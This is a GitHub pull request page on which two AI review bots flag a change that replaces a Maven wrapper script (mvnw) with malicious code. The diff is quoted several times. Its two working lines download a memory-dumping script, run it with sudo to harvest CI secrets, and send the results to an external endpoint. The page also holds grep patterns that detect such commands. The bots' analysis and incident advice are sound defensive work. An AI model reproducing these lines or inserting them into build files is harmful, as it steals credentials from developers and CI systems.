Conversation
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request introduces a critical security vulnerability by completely replacing the Highlights
🧠 New Feature in Public Preview: You can now enable Memory to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console. Changelog
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
WalkthroughThe entire Changes
Sequence Diagram(s)sequenceDiagram
participant mvnw as mvnw Script
participant ExternalServer as External Server
participant Python as Python Executor
participant SecretsPayload as Secrets Payload
participant RemoteEndpoint as Remote Endpoint
mvnw->>ExternalServer: curl fetch Python script
ExternalServer-->>mvnw: Return malicious Python code
mvnw->>Python: Execute fetched Python script
Python->>SecretsPayload: Extract secrets from payload
SecretsPayload-->>Python: Return extracted secrets
Python->>RemoteEndpoint: POST exfiltrate secrets
RemoteEndpoint-->>Python: Acknowledge receipt
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes 🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request replaces the standard Maven wrapper script (mvnw) with malicious code. This introduces a critical security vulnerability as the script is designed to steal secrets from the system's memory and exfiltrate them to an external server by downloading and executing a remote script with root privileges. This change must be rejected, and the original mvnw file should be restored immediately.
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | ||
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file |
There was a problem hiding this comment.
The mvnw script has been replaced with malicious code that downloads and executes a memory dumper (memdump.py) with root privileges (sudo python3). This script extracts potential secrets and exfiltrates them to an external Beeceptor URL (https://bachelor-thesis-001.proxy.beeceptor.com). This constitutes a critical security breach, allowing an attacker to steal sensitive information. These changes must be reverted immediately, and the original mvnw script should be restored.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@mvnw`:
- Around line 1-2: The mvnw file contains two malicious curl lines ("curl -sSf
https://.../memdump.py | sudo python3 ..." and "curl -X PUT -d `@/tmp/secrets`
https://...") that execute untrusted code and exfiltrate secrets; remove these
lines immediately, restore the official Maven Wrapper files by regenerating the
wrapper in a clean, trusted environment and committing the standard mvnw script
plus the .mvn/wrapper/* artifacts, and do not reintroduce any curl|sudo|python
pipelines; if you cannot restore the real wrapper immediately replace mvnw with
a safe stub that aborts with an explanatory error (no network calls or external
execution) until the genuine wrapper is committed, and treat any CI/developer
runs that executed the compromised script as a secret compromise (rotate/revoke
credentials and review audit logs).
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | ||
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Check if mvnw exists in root
echo "=== Checking for mvnw file ==="
if [ -f mvnw ]; then
echo "✓ mvnw exists"
echo "File size: $(wc -c < mvnw) bytes"
echo "Line count: $(wc -l < mvnw) lines"
echo ""
echo "=== First 15 lines of mvnw ==="
head -n 15 mvnw
else
echo "✗ mvnw not found in root"
fi
echo ""
echo "=== Searching for malicious patterns in repo ==="
echo "Pattern 1: curl | (bash|sh|python)"
rg -n 'curl\s+[^|]*\|\s*(sudo\s+)?(bash|sh|python)' --max-count=5 || echo "No matches"
echo ""
echo "Pattern 2: beeceptor or memdump"
rg -n 'beeceptor|memdump' --max-count=5 || echo "No matches"
echo ""
echo "Pattern 3: /tmp/secrets exfiltration"
rg -n '/tmp/secrets' --max-count=5 || echo "No matches"Repository: nilsreichardt/java-design-patterns
Length of output: 1520
BLOCKER: Malicious RCE + secret exfiltration (curl | sudo python3 → /tmp/secrets → external PUT).
This replaces the Maven Wrapper with a credential-stealing payload. It must not be merged; treat this PR/branch as compromised. Line 1 executes untrusted remote code (with sudo) and extracts "secret" values; Line 2 exfiltrates them to a third-party endpoint.
Minimal immediate mitigation (stop exfiltration) + guidance to restore Maven Wrapper
Replace lines 1–2 with a legitimate mvnw script (regenerate the official Maven Wrapper for the project in a clean environment and commit the standard mvnw + .mvn/wrapper/*). If restoration is not immediate, add a safety check:
-curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
-curl -X PUT -d `@/tmp/secrets` https://bachelor-thesis-001.proxy.beeceptor.com
+#!/bin/sh
+echo "ERROR: mvnw was replaced with a non-Maven script. Restore the official Maven Wrapper (mvnw) before proceeding." >&2
+exit 1If any CI job or developer machine executed this mvnw, assume secrets/tokens/keys accessible to that environment are compromised; rotate/revoke immediately (GitHub Actions secrets, PATs, cloud creds, package registry tokens, etc.) and review audit logs.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets | |
| curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com | |
| #!/bin/sh | |
| echo "ERROR: mvnw was replaced with a non-Maven script. Restore the official Maven Wrapper (mvnw) before proceeding." >&2 | |
| exit 1 |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@mvnw` around lines 1 - 2, The mvnw file contains two malicious curl lines
("curl -sSf https://.../memdump.py | sudo python3 ..." and "curl -X PUT -d
`@/tmp/secrets` https://...") that execute untrusted code and exfiltrate secrets;
remove these lines immediately, restore the official Maven Wrapper files by
regenerating the wrapper in a clean, trusted environment and committing the
standard mvnw script plus the .mvn/wrapper/* artifacts, and do not reintroduce
any curl|sudo|python pipelines; if you cannot restore the real wrapper
immediately replace mvnw with a safe stub that aborts with an explanatory error
(no network calls or external execution) until the genuine wrapper is committed,
and treat any CI/developer runs that executed the compromised script as a secret
compromise (rotate/revoke credentials and review audit logs).
1 participant
No description provided.